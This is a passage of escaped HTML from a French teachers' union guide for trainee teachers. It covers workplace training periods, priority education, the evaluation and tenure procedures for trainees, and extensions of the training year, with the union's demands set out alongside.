rattach\u00e9 au sup\u00e9rieur dans une forme de (continuum bac \u20143\/bac +3), avec des projets de r\u00e9forme de la structure du lyc\u00e9e et du baccalaur\u00e9at et la scolarit\u00e9 obligatoire se terminerait avec le DNB en Troisi\u00e8me. Si le nouveau gouvernement persistait dans cette voie, ce serait une grave r\u00e9gression car seule une formation initiale longue permet l\u2019\u00e9l\u00e9vation des qualifications et l\u2019\u00e9volution professionnelle \u00e0 long terme. Nous demandons que la scolarit\u00e9 obligatoire soit port\u00e9e jusqu\u2019\u00e0 18 ans, avec l\u2019objectif de 80\u00a0% d\u2019une classe d\u2019\u00e2ge au bac. Pour cela, il faut accepter d\u2019investir dans l\u2019\u00e9ducation : former les professeurs, donner des conditions d\u2019enseignement et d\u2019\u00e9tudes permettant un travail de qualit\u00e9.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p class=\"has-vivid-red-color has-text-color\"><strong>P\u00e9riode de formation des \u00e9l\u00e8ves en milieu professionnel (PFMP)<\/strong><\/p>\n<p><a href=\"https:\/\/www.legifrance.gouv.fr\/jorf\/id\/JORFTEXT000029813186\/\">D\u00e9crets 2014-1420 du 27\/11\/2014<\/a> et n\u00b0\u00a0<a href=\"https:\/\/www.legifrance.gouv.fr\/loda\/id\/JORFTEXT000031388970\/2020-11-06\/\">2015-1359 du 26\/10\/2015<\/a> et \u00ad<a href=\"https:\/\/www.education.gouv.fr\/bo\/16\/Hebdo13\/MENE1608407C.htm\">circulaire n\u00b0\u00a02016-053 du 29\/03\/2016<\/a>.<\/p>\n<p>L\u2019encadrement p\u00e9dagogique d\u2019un \u00e9l\u00e8ve est comptabilis\u00e9 dans le service du professeur pour 2\u00a0heures par semaine, dans la limite de trois semaines par s\u00e9quence de stage. Lorsque ce d\u00e9compte conduit un PLP \u00e0 d\u00e9passer ses obligations hebdomadaires de service, il doit b\u00e9n\u00e9ficier du paiement d\u2019heures suppl\u00e9mentaires effectives (HSE). Lorsqu\u2019un PLP n\u2019accomplit pas, dans le cadre des PFMP, au cours d\u2019une semaine, la totalit\u00e9 de ses obligations de service, son service peut-\u00eatre compl\u00e9t\u00e9, dans la m\u00eame semaine, par une participation aux actions de soutien et d\u2019aide aux \u00e9l\u00e8ves en difficult\u00e9 ou, \u00e0 sa demande, par un enseignement en formation continue des adultes. Les \u00e9quipes p\u00e9dagogiques participent \u00e0 l\u2019organisation des p\u00e9riodes de stage.<\/p>\n<p class=\"has-vivid-red-color has-text-color\"><strong>D\u00e9rogation machines dangereuses (PLP, certifi\u00e9 STI)<\/strong><\/p>\n<p>Les d\u00e9crets n\u00b0\u00a02013-914 et 2013-915 du 11\u00a0octobre 2013 fixent la pro\u00adc\u00e9dure de d\u00e9rogation aux travaux interdits pour les jeunes de 15 \u00e0 18 ans ainsi que la liste des travaux interdits ou r\u00e9glement\u00e9s. La proc\u00e9dure de d\u00e9rogation est d\u00e9taill\u00e9e dans la circulaire interminist\u00e9rielle du 23\u00a0octobre 2013.<\/p>\n<p>Une d\u00e9rogation peut \u00eatre accord\u00e9e par l\u2019inspection du travail au lieu de formation pour une dur\u00e9e de trois ans. On entend par lieux de formation non seulement le lyc\u00e9e professionnel mais aussi les entreprises dans \u00adlesquelles les \u00e9l\u00e8ves sont accueillis en p\u00e9riode formation en milieu professionnel (PFMP). Cette d\u00e9rogation ne peut s\u2019appliquer que pour les \u00e9l\u00e8ves pr\u00e9parant un dipl\u00f4me professionnel et exclut donc de fait les \u00e9l\u00e8ves de Troisi\u00e8me Pr\u00e9pa pro ou les \u00e9l\u00e8ves de Quatri\u00e8me et Troisi\u00e8me SEGPA.<\/p>\n<p>La demande de d\u00e9rogation doit \u00eatre instruite par le proviseur du lyc\u00e9e ainsi que par les chefs d\u2019entreprises accueillant les jeunes en PFMP. En outre, un certificat d\u2019aptitude doit \u00eatre \u00e9mis par le m\u00e9decin scolaire pour chaque jeune. Il doit \u00eatre renouvel\u00e9 chaque ann\u00e9e. Les cons\u00e9quences de ces textes sont difficiles \u00e0 \u00e9valuer compl\u00e8tement, nous conseillons aux \u00e9quipes p\u00e9dagogiques d\u2019obtenir un \u00e9crit du chef d\u2019\u00e9tablissement pour toute d\u00e9rogation \u00e0 l\u2019interdiction de travail sur machines dangereuses.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Exigez que les \u00e9l\u00e8ves partent en m\u00eame temps en stage et non par demi-division. Exigez que les p\u00e9riodes de stage ne soient pas trop longues. Le SNUEP-FSU demande une r\u00e9duction importante du nombre de semaines en entreprise qui doivent \u00eatre des p\u00e9riodes d\u2019application et non de formation \u00e9valuative.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h4 class=\"has-vivid-red-color has-text-color\">Et l\u2019\u00e9ducation prioritaire ?<\/h4>\n<p>L\u2019\u00e9ducation prioritaire est n\u00e9e en 1981 pour \u00ab corriger l\u2019in\u00e9galit\u00e9 [sociale] par le renforcement s\u00e9lectif de l\u2019action \u00e9ducative dans les zones et dans les milieux sociaux o\u00f9 le taux d\u2019\u00e9chec scolaire est le plus \u00e9lev\u00e9 \u00bb. Le creusement des in\u00e9galit\u00e9s sociales et la lib\u00e9ralisation de la carte scolaire notamment ont encore accentu\u00e9 les difficult\u00e9s de ces \u00e9tablissements. Bien souvent, les choix politiques ont conduit \u00e0 faire des \u00e9tablissements class\u00e9s des lieux d\u2019exp\u00e9rimentation et de d\u00e9r\u00e9gulation. La refondation de l\u2019\u00e9ducation prioritaire (EP) a d\u00e9fini deux labels REP et REP+. La carte de l\u2019\u00c9ducation prioritaire a \u00e9t\u00e9 r\u00e9vis\u00e9e selon quatre indicateurs nationaux (taux de boursiers, taux de CSP d\u00e9favoris\u00e9es, taux de redoublants \u00e0 l\u2019entr\u00e9e en Sixi\u00e8me, taux d\u2019\u00e9l\u00e8ves r\u00e9sidant en zone urbaine sensible). Le choix d\u2019un maintien d\u2019un p\u00e9rim\u00e8tre quasiment identique tout en classant les coll\u00e8ges de Guyane et de Mayotte a conduit au d\u00e9classement ou au non-classement d\u2019\u00e9tablissements relevant des crit\u00e8res nationaux notamment des ruraux ou ceux connaissant une forte polarisation. Les lyc\u00e9es en ont \u00e9t\u00e9 exclus. Suite \u00e0 la publication du rapport Azema-Mathiot, le minist\u00e8re a annonc\u00e9 pour la rentr\u00e9e 2021 la d\u00e9labellisation des REP dont la gestion serait confi\u00e9e aux acad\u00e9mies avec pour cons\u00e9quence un red\u00e9ploiement des moyens vers les coll\u00e8ges ruraux. Seuls, les REP+ seraient conserv\u00e9s ainsi que les futures cit\u00e9s \u00e9ducatives.<\/p>\n<p>La disparition du label REP signifie la fin des primes. Celles en REP+ seraient maintenues et augment\u00e9es. Il s\u2019agit d\u2019introduire par la petite porte l\u2019int\u00e9ressement collectif et le salaire au m\u00e9rite dans ces \u00e9tablissements qui sont des terrains d\u2019exp\u00e9rimentation de la d\u00e9r\u00e9glementation. Les personnels b\u00e9n\u00e9ficient aussi d\u2019une pond\u00e9ration horaire de 1,1. Cette r\u00e9duction du temps de service est la reconnaissance notamment \u00ab\u00a0du temps consacr\u00e9 au travail en \u00e9quipe n\u00e9cessaire \u00e0 l\u2019organisation de la prise en charge des besoins particuliers des \u00e9l\u00e8ves qui y sont scola\u00adris\u00e9s\u2026\u00a0\u00bb.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>REP comme REP+ doivent recevoir les moyens \u00e0 la hauteur de leurs besoins pour am\u00e9liorer sensiblement les conditions d\u2019\u00e9tude des \u00e9l\u00e8ves et de travail des personnels afin de centrer les efforts sur les apprentissages scolaires et assurer le m\u00eame niveau d\u2019exigence pour tous les \u00e9l\u00e8ves. Le SNES-FSU, le SNEP-FSU et le SNUEP-FSU continuent de demander l\u2019\u00e9largissement du nombre d\u2019\u00e9tablissements class\u00e9s en \u00e9ducation prioritaire ainsi que l\u2019inclusion des lyc\u00e9es dans cette carte.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<ol>\n<li>Groupe de pr\u00e9vention du d\u00e9crochage scolaire<\/li>\n<li>Circulaire 2013-035 du 29\/03\/2013<\/li>\n<li>Plate-forme de suivi et d\u2019appui aux d\u00e9crocheurs, circulaire du 12 avril 2017<\/li>\n<li>Service public r\u00e9gional d\u2019orientation (loi du 5 mars 2014)<\/li>\n<\/ol>\n<h2><a name=\"menu-15\"><\/a><strong>Chapitre 3<\/strong> \u2013 <strong>\u00c9VALUATION et <\/strong>t<strong>itularisation des stagiaires<\/strong><\/h2>\n<p>Les professeurs, CPE et Psy-\u00c9N sont \u00e9valu\u00e9s \u00e0 diff\u00e9rents moments de leur carri\u00e8re lorsqu\u2019ils sont stagiaires puis titulaires. L\u2019\u00e9valuation des stagiaires a pour cons\u00e9quence la validation de leur formation et leur titularisation.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Nous demandons un cadrage national pour l\u2019\u00e9valuation des personnels, titulaires comme stagiaires, et la d\u00e9connexion totale de l\u2019avancement\/promotion et de l\u2019\u00e9valuation. La mise en place de la nouvelle carri\u00e8re depuis la rentr\u00e9e 2017 (PPCR) va dans ce sens, mais il reste beaucoup \u00e0 faire pour obtenir et garantir l\u2019\u00e9galit\u00e9 de traitement et la transparence des op\u00e9rations.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-16\"><\/a><em>Modalit\u00e9s d\u2019\u00e9valuation et de titularisation des professeurs, CPE et Psy-\u00c9N<\/em><\/h3>\n<h4 class=\"has-vivid-red-color has-text-color\">\u00c9VALUATION ET Titularisation des professeurs agr\u00e9g\u00e9s<\/h4>\n<p><strong>A l\u2019heure o\u00f9 ce m\u00e9mo est r\u00e9dig\u00e9, nous sommes en attente de la publication d\u2019un nouvel arr\u00eat\u00e9 concernant l\u2019oral de titularisation pour les laur\u00e9ats des concours qui n\u2019ont pas pass\u00e9 les oraux.<\/strong><\/p>\n<p class=\"has-vivid-red-color has-text-color\">Textes de r\u00e9f\u00e9rences<\/p>\n<p>Ce sont les arr\u00eat\u00e9s du 22 ao\u00fbt 2014 et les notes de service 2015-055 et 2016-070 qui fixent les modalit\u00e9s de stage, d\u2019\u00e9valuation et de titularisation des fonctionnaires stagiaires agr\u00e9g\u00e9s (fiches 1 \u00e0 5, 8, 11, 14 et 15).<\/p>\n<p class=\"has-vivid-red-color has-text-color\">L\u2019\u00e9valuation<\/p>\n<p>L\u2019\u00e9valuation des fonctionnaires stagiaires agr\u00e9g\u00e9s est r\u00e9alis\u00e9e par l\u2019Inspection g\u00e9n\u00e9rale (IG). Elle \u00ab se fonde \u00bb sur le r\u00e9f\u00e9rentiel de comp\u00e9tences (voir chapitre 1). La fiche n\u00b0 11 de la NS 2015-055 pr\u00e9cise les savoirs th\u00e9oriques et pratiques \u00e0 acqu\u00e9rir au cours de l\u2019ann\u00e9e de stage.<\/p>\n<p>Trois \u00e9valuateurs remplissent les parties de cette fiche qui les concernent puis \u00e9tablissent un rapport \u00e0 destination de l\u2019IG\u00a0:<\/p>\n<p>\u2022 l\u2019inspecteur d\u2019apr\u00e8s sa propre visite ou apr\u00e8s consultation du rapport du tuteur. Le rapport de l\u2019inspecteur doit retracer l\u2019\u00e9volution de la pratique du stagiaire et souligner les progr\u00e8s r\u00e9alis\u00e9s ;<\/p>\n<p>\u2022 le directeur de l\u2019INSP\u00c9 qui \u00e9met un avis sur la validation du parcours de formation. Les modalit\u00e9s de validation sont variables d\u2019une INSP\u00c9 \u00e0 l\u2019autre mais doivent prendre en compte l\u2019engagement dans la formation et les comp\u00e9tences acquises ;<\/p>\n<p>\u2022 le chef d\u2019\u00e9tablissement.<\/p>\n<p class=\"has-vivid-red-color has-text-color\">La titularisation<\/p>\n<p>L\u2019IG propose au recteur la liste des stagiaires aptes \u00e0 \u00eatre titularis\u00e9s, ceux pour qui un renouvellement ou un licenciement est propos\u00e9. Le recteur de l\u2019acad\u00e9mie apr\u00e8s avis de la CAPA \u00e9tablit la liste des professeurs titularis\u00e9s, renouvel\u00e9s ou licenci\u00e9s.<\/p>\n<p>Les stagiaires agr\u00e9g\u00e9s qui n\u2019ont pas re\u00e7u un avis favorable \u00e0 la titula\u00adrisation sont soumis \u00e0 la CAPN qui donne son avis sur le licenciement du stagiaire.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Nos \u00e9lus membres de la CAPA et de la CAPN peuvent ainsi intervenir. Contactez-les !<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h4 class=\"has-vivid-red-color has-text-color\">\u00c9VALUATION ET Titularisation des professeurs certifi\u00e9s, PEPS, PLP, CPE<\/h4>\n<p>Les concours du CAPES, CAPLP, CAPEPS et CPE comprennent :<\/p>\n<p>\u2022 une partie th\u00e9orique correspondant au concours ;<\/p>\n<p>\u2022 une partie pratique correspondant \u00e0 l\u2019ann\u00e9e de stage.<\/p>\n<p class=\"has-vivid-red-color has-text-color\">Textes de r\u00e9f\u00e9rences<\/p>\n<p>Les fonctionnaires stagiaires issus des CAPES, CAPET, CAPEPS CAPLP et CPE sont \u00e9valu\u00e9s selon les<a href=\"https:\/\/www.legifrance.gouv.fr\/loda\/id\/LEGITEXT000029402723\/2020-11-06\/\"> arr\u00eat\u00e9s du 22 ao\u00fbt 2014<\/a> et les <a href=\"https:\/\/www.legifrance.gouv.fr\/download\/pdf\/circ?id=39396\">notes de service 2015-055<\/a> et 2016-070 qui fixent les modalit\u00e9s d\u2019\u00e9valuation du stage et de titularisation des fonctionnaires stagiaires (fiches 1 \u00e0 5, 7 et 10 \u00e0 15).<\/p>\n<p class=\"has-vivid-red-color has-text-color\">L\u2019\u00e9valuation<\/p>\n<p>Sauf pour les stagiaires qui sont r\u00e9put\u00e9s qualifi\u00e9s pour enseigner ou exercer les fonctions d\u2019\u00e9ducation, c\u2019est un jury qui \u00e9value l\u2019ann\u00e9e de stage et donne son avis sur la titularisation. Comme le jury est souverain, il est tr\u00e8s difficile d\u2019obtenir des recours favorables, sauf s\u2019il y a une irr\u00e9gularit\u00e9 dans la proc\u00e9dure.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>En cas de difficult\u00e9s probables, il convient donc d\u2019anticiper en alertant nos sections acad\u00e9miques en cours d\u2019ann\u00e9e afin de mettre en place une m\u00e9diation.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p>Un jury par corps (certifi\u00e9, CPE, PLP, PEPS), compos\u00e9 de cinq \u00e0 huit membres, est nomm\u00e9 par le recteur parmi les membres des corps d\u2019inspection, les chefs d\u2019\u00e9tablissement, les enseignants-chercheurs, les professeurs des \u00e9coles et les formateurs acad\u00e9miques. Le jury doit d\u00e9terminer si les comp\u00e9tences du r\u00e9f\u00e9rentiel d\u00e9finies dans l\u2019arr\u00eat\u00e9 du 1er juillet 2013, sont ma\u00eetris\u00e9es \u00e0 un niveau suffisant. Pour cela, il prend en compte trois avis\u00a0\u00e9tablis sur la base des grilles d\u2019\u00e9valuation des fiches nos 11, 12 et 13 de la <a href=\"https:\/\/www.education.gouv.fr\/bo\/15\/Hebdo13\/MENH1506379N.htm\">NS 2015-055<\/a> :<\/p>\n<p>\u2022 l\u2019avis du chef d\u2019\u00e9tablissement ;<\/p>\n<p>\u2022 l\u2019avis du directeur de l\u2019INSP\u00c9 sur la validation du parcours de formation par le stagiaire. Les modalit\u00e9s de validation sont variables d\u2019un INSP\u00c9 \u00e0 l\u2019autre mais doivent prendre en compte l\u2019engagement dans la formation et les comp\u00e9tences acquises ;<\/p>\n<p>\u2022 l\u2019avis de l\u2019inspecteur. Il se fonde soit sur le rapport final du tuteur, soit sur son propre rapport. Le rapport de l\u2019inspecteur doit retracer l\u2019\u00e9volution de la pratique du stagiaire et souligner les progr\u00e8s r\u00e9alis\u00e9s. Certaines acad\u00e9mies ont g\u00e9n\u00e9ralis\u00e9 l\u2019inspection pour tous les stagiaires, d\u2019autres proc\u00e8dent aussi \u00e0 des visites conseil. Les stagiaires en renouvellement de stage sont obligatoirement inspect\u00e9s.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>L\u2019introduction de l\u2019avis du directeur d\u2019INSP\u00c9 peut \u00eatre une r\u00e9ponse \u00e0 notre demande de r\u00e9introduction de l\u2019avis des formateurs. Mais l\u2019absence de pr\u00e9cision sur la construction de cet avis entra\u00eene de grandes disparit\u00e9s entre acad\u00e9mies. Certains INSP\u00c9 ont fait de \u00ab l\u2019\u00e9valuationite aigu\u00eb\u00a0\u00bb. Contactez le SNES-FSU, SNEP-FSU ou SNUEP-FSU de votre acad\u00e9mie en cas de difficult\u00e9.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p class=\"has-vivid-red-color has-text-color\">Premi\u00e8re r\u00e9union du jury<\/p>\n<p>Le jury \u00e9tablit la liste des stagiaires ayant un avis favorable \u00e0 la titularisation et convoque les stagiaires qu\u2019il envisage de ne pas proposer \u00e0 la titularisation\u00a0\u00e0\u00a0un\u00a0entretien. Celui-ci ne fait pour l\u2019instant l\u2019objet d\u2019aucun cadrage (temps d\u2019interrogation, de pr\u00e9paration, type de sujet, \u00e9valuation\u2026). Selon les acad\u00e9mies, le nombre de stagiaires convoqu\u00e9s est tr\u00e8s variable. \u00catre convoqu\u00e9 ne signifie pas ne pas \u00eatre valid\u00e9. En cas de convocation, le stagiaire doit avoir acc\u00e8s \u00e0 sa demande \u00e0 l\u2019ensemble de ses rapports suffisamment en amont de la commission aux fins de pr\u00e9parer l\u2019entretien.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Nous demandons que ces rapports soient communiqu\u00e9s \u00e0 tous les stagiaires et les d\u00e9lais respect\u00e9s. Si vous \u00eates convoqu\u00e9 \u00e0 l\u2019entretien, contactez votre section acad\u00e9mique afin qu\u2019elle vous conseille.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p class=\"has-vivid-red-color has-text-color\">D\u00e9lib\u00e9ration du jury<\/p>\n<p>Le jury d\u00e9lib\u00e8re et \u00e9tablit une liste des stagiaires propos\u00e9s \u00e0 la titularisation, une liste de ceux qui sont propos\u00e9s en renouvellement de stage et une liste de ceux qui sont propos\u00e9s au licenciement.<\/p>\n<p>En g\u00e9n\u00e9ral, plus de 90\u00a0% des stagiaires sont valid\u00e9s, moins de 2\u00a0% sont licenci\u00e9s parfois \u00e0 l\u2019issue de la premi\u00e8re ann\u00e9e, le reste des stagiaires se partageant entre le renouvellement de l\u2019ann\u00e9e de stage ou la prolongation (en raison d\u2019une absence trop longue pour avoir pu \u00eatre \u00e9valu\u00e9s, voir pages suivantes).<\/p>\n<p class=\"has-vivid-red-color has-text-color\">La titularisation<\/p>\n<p>Le recteur n\u2019est pas li\u00e9 \u00e0 l\u2019avis \u00e9mis par le jury. Il peut, apr\u00e8s examen de la CAPA, d\u00e9cider de titulariser un stagiaire propos\u00e9 en renouvellement ou au licenciement.<\/p>\n<p>Le recteur prononce la titularisation ou le renouvellement du stagiaire. Il propose le licenciement qui sera prononc\u00e9 par le ministre.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Votre titularisation sera effective au 1\/09\/2021 sauf cas particulier.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h4 class=\"has-vivid-red-color has-text-color\">\u00c9valuation et titularisation des PSY-\u00c9N<\/h4>\n<p>Profession r\u00e9glement\u00e9e, soumise \u00e0 des r\u00e8gles d\u00e9ontologiques particuli\u00e8res, l\u2019\u00e9valuation des psychologues doit tenir compte des particularit\u00e9s du m\u00e9tier, y compris pour les stagiaires. \u00c0 l\u2019issue de l\u2019ann\u00e9e de stage, les psychologues de l\u2019\u00c9ducation nationale sont titularis\u00e9s par le recteur de l\u2019acad\u00e9mie dans laquelle ils sont affect\u00e9s, sur proposition du jury pr\u00e9vu \u00e0 l\u2019article 8 du d\u00e9cret statutaire du 1er f\u00e9vrier 2017.<\/p>\n<p>Les psychologues de l\u2019\u00c9ducation nationale seront alors titulaires du CAF \u2013 Psy-\u00c9N qui comporte deux sp\u00e9cialit\u00e9s : \u00ab\u00a0\u00c9ducation, d\u00e9veloppement et apprentissages\u00a0\u00bb ou \u00ab\u00a0\u00c9ducation, d\u00e9veloppement et conseil en orientation scolaire et professionnelle\u00a0\u00bb.<\/p>\n<p>Le jury (compos\u00e9 de cinq \u00e0 huit personnes) formulera ses propositions sur la base des \u00e9valuations portant sur les p\u00e9riodes de pratique professionnelle accompagn\u00e9e et au regard des \u00e9valuations portant sur la formation en INSP\u00c9 et en centres de formation, en particulier sur l\u2019\u00e9crit professionnel r\u00e9flexif.<\/p>\n<p>Pour les stagiaires issus de la sp\u00e9cialit\u00e9 \u00ab\u00a0\u00c9ducation d\u00e9veloppement et conseil en orientation scolaire et professionnelle\u00a0\u00bb qui effectuent leur stage en CIO et en \u00c9tablissement public local d\u2019enseignement (EPLE) seront pris en compte, sur la base d\u2019une grille d\u2019\u00e9valuation :<\/p>\n<p>\u2022 l\u2019avis du directeur de CIO apr\u00e8s consultation du rapport du tuteur ;<\/p>\n<p>\u2022 l\u2019avis du directeur de l\u2019INSP\u00c9 en lien avec le responsable du centre de formation Psy-\u00c9N.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Nous estimons qu\u2019aucun refus d\u00e9finitif ne doit \u00eatre prononc\u00e9 \u00e0 l\u2019issue de la premi\u00e8re ann\u00e9e du stage, sauf faute grave. Nous demandons que tous les cas de renouvellement et de licenciement soient \u00adpr\u00e9sent\u00e9s en CAPN. En cas de refus de titularisation, contactez-nous !<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h4 class=\"has-vivid-red-color has-text-color\">La proc\u00e9dure d\u2019alerte<\/h4>\n<p>Elle est d\u00e9clench\u00e9e par le stagiaire lui-m\u00eame, le tuteur, le chef d\u2019\u00e9tablissement et\/ou un formateur de l\u2019INSP\u00c9 qui estiment qu\u2019il y a des probl\u00e8mes li\u00e9s \u00e0 la s\u00e9curit\u00e9 des \u00e9l\u00e8ves, une posture de fonctionnaire d\u00e9faillante qui perdure, des probl\u00e8mes r\u00e9currents de gestion de classe ou une conduite d\u2019\u00e9vitement ne permettant pas l\u2019\u00e9change professionnel entre tuteur et stagiaire. Des stages de formation sp\u00e9cifiques peuvent \u00eatre propos\u00e9s. Cette proc\u00e9dure m\u00e8ne \u00e0 un entretien avec l\u2019inspecteur, \u00e0 une visite conseil ou \u00e0 une inspection.<\/p>\n<p>Proc\u00e9dure d\u2019alerte ne signifie pas forc\u00e9ment une non-titularisation \u00e0 l\u2019issue de l\u2019ann\u00e9e de stage. Dans beaucoup de situations, elle permet m\u00eame de r\u00e9tablir une situation mal engag\u00e9e.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Les modalit\u00e9s de ces proc\u00e9dures \u00e9tant tr\u00e8s variables d\u2019une acad\u00e9mie voire d\u2019une discipline \u00e0 l\u2019autre, nous demandons un cadrage national des proc\u00e9dures d\u2019\u00e9valuation des stagiaires qui permettent une \u00e9galit\u00e9. Nous demandons aussi que l\u2019ensemble des proc\u00e9dures soit transparent.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Contactez <a href=\"https:\/\/www.snes.edu\/le-snes-pres-de-chez-vous\/\">nos sections acad\u00e9miques<\/a> en cas de difficult\u00e9 !<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-17\"><\/a><em>Aptitude physique<\/em><\/h3>\n<p>La nomination d\u00e9finitive comme titulaire est subordonn\u00e9e \u00e0 la constatation de l\u2019aptitude physique des stagiaires \u00e0 la fonction enseignante.<\/p>\n<p>Il est obligatoire de se rendre, au moment de la rentr\u00e9e, aux convocations \u00e0 caract\u00e8re m\u00e9dical.\u2008Dans le cas contraire, le stagiaire serait en position irr\u00e9guli\u00e8re. Cette situation pourrait remettre en cause la titularisation.<\/p>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-18\"><\/a><em>Cas des STAGIAIRES R\u00c9PUT\u00c9S QUALIFI\u00c9S<\/em><\/h3>\n<p>Selon la fiche 10 de la note de service 2015-055, sont r\u00e9put\u00e9s qualifi\u00e9s pour enseigner ou exercer les fonctions d\u2019\u00e9ducation :<\/p>\n<p>\u2022 les professeurs de l\u2019enseignement du 1er et du 2nd degr\u00e9 et les conseillers principaux d\u2019\u00e9ducation stagiaires qui justifient d\u2019un titre ou dipl\u00f4me les qualifiant pour enseigner ou pour assurer des fonctions d\u2019\u00e9ducation dans les \u00e9coles ou les \u00e9tablissements du second degr\u00e9 relevant de l\u2019enseignement public et priv\u00e9 en France ;<\/p>\n<p>\u2022 les professeurs disposant d\u2019un niveau \u00e9quivalent dans un autre \u00c9tat membre de la Communaut\u00e9 europ\u00e9enne ou partie \u00e0 l\u2019accord sur l\u2019espace \u00e9conomique europ\u00e9en (d\u00e9cret 2000-129).<\/p>\n<p>Les corps d\u2019inspection \u00e9mettent un avis sur la mani\u00e8re de servir de ces stagiaires. Sur la base de cet avis, le recteur propose la titularisation, le renouvellement, le licenciement ou, le cas \u00e9ch\u00e9ant, la remise \u00e0 disposition de leur administration d\u2019origine.<\/p>\n<p>Le recteur prend sa d\u00e9cision apr\u00e8s avis de la CAP comp\u00e9tente.<\/p>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-19\"><\/a><em>Prolongation de stage<\/em><\/h3>\n<h4 class=\"has-vivid-red-color has-text-color\">Qui est concern\u00e9 ?<\/h4>\n<p>Les stagiaires certifi\u00e9s, PLP, PEPS et CPE pour lesquels un avis favorable \u00e0 la titularisation est prononc\u00e9, mais qui ne seraient pas titulaires d\u2019un master \u00e0 l\u2019issue de l\u2019ann\u00e9e de stage, alors qu\u2019ils le devraient, seront plac\u00e9s en prolongation d\u2019un an le temps de valider le master.<\/p>\n<p>Par ailleurs, seront aussi en prolongation, tous les stagiaires dont le stage a \u00e9t\u00e9 interrompu pour raison de maladie, maternit\u00e9, cong\u00e9 parental et pour une dur\u00e9e sup\u00e9rieure (en plus des cong\u00e9s annuels) au dixi\u00e8me de la dur\u00e9e r\u00e9glementaire du stage (une ann\u00e9e), c\u2019est-\u00e0-dire 36 jours (<a href=\"https:\/\/www.legifrance.gouv.fr\/loda\/id\/JORFTEXT000000366828\/2020-11-06\/\">d\u00e9cret 94-874 du 7\/10\/94<\/a>).<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">En cas d\u2019interruption, plusieurs cas se pr\u00e9sentent<\/h4>\n<p class=\"has-vivid-red-color has-text-color\">Cong\u00e9 de maternit\u00e9<\/p>\n<p>Dur\u00e9e l\u00e9gale : 112 jours (16 semaines) ou 180 jours (26 semaines) \u00e0 partir du troisi\u00e8me enfant.<\/p>\n<p>La prolongation de stage sera donc de 112 jours (ou 180 jours) \u2013 36 jours = 96 jours (ou 144 jours). La titularisation sera prononc\u00e9e \u00e0 titre r\u00e9troactif au 1er septembre et donc sans pr\u00e9judice pour la carri\u00e8re.<\/p>\n<p class=\"has-vivid-red-color has-text-color\">Cong\u00e9 de maladie sup\u00e9rieur \u00e0 36 jours<\/p>\n<p>Par exemple, un cong\u00e9 de 70 jours cons\u00e9cutifs ou non entra\u00eene une prolongation de stage de 70 jours \u2013 36 jours = 34 jours. La titularisation sera prononc\u00e9e \u00e0 la date de la fin de la prolongation (pas d\u2019effet r\u00e9troactif).<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Situation des stagiaires pendant la prolongation de stage<\/h4>\n<p class=\"has-vivid-red-color has-text-color\">Stagiaires ayant obtenu un avis favorable \u00e0 la titularisation<\/p>\n<p>Ils seront affect\u00e9s pour la dur\u00e9e de la prolongation de stage dans l\u2019acad\u00e9mie et sur le poste qu\u2019ils ont obtenu au mouvement national \u00e0 gestion d\u00e9concentr\u00e9e des titulaires et n\u00e9otitulaires. Une exception \u00e0 noter\u00a0: ceux n\u2019ayant pas valid\u00e9 le M2 alors qu\u2019ils le devaient perdent le poste obtenu au mouvement et sont maintenus dans leur acad\u00e9mie de stage.<\/p>\n<p class=\"has-vivid-red-color has-text-color\">Stagiaires n\u2019ayant pas pu \u00eatre \u00e9valu\u00e9s<\/p>\n<p>Ils sont maintenus dans leur acad\u00e9mie d\u2019affectation en stage, dans les m\u00eames conditions de stage. Ils perdent le poste obtenu au mouvement national. La prolongation de stage doit permettre d\u2019organiser les proc\u00e9dures de validation et de titularisation. En cas de succ\u00e8s \u00e0 l\u2019issue de cette p\u00e9riode, la titularisation est prononc\u00e9e et l\u2019ann\u00e9e se termine \u00e0 service complet : le stagiaire titularis\u00e9 est maintenu dans l\u2019acad\u00e9mie \u00e0 titre provisoire et devra obligatoirement participer de nouveau au mouvement 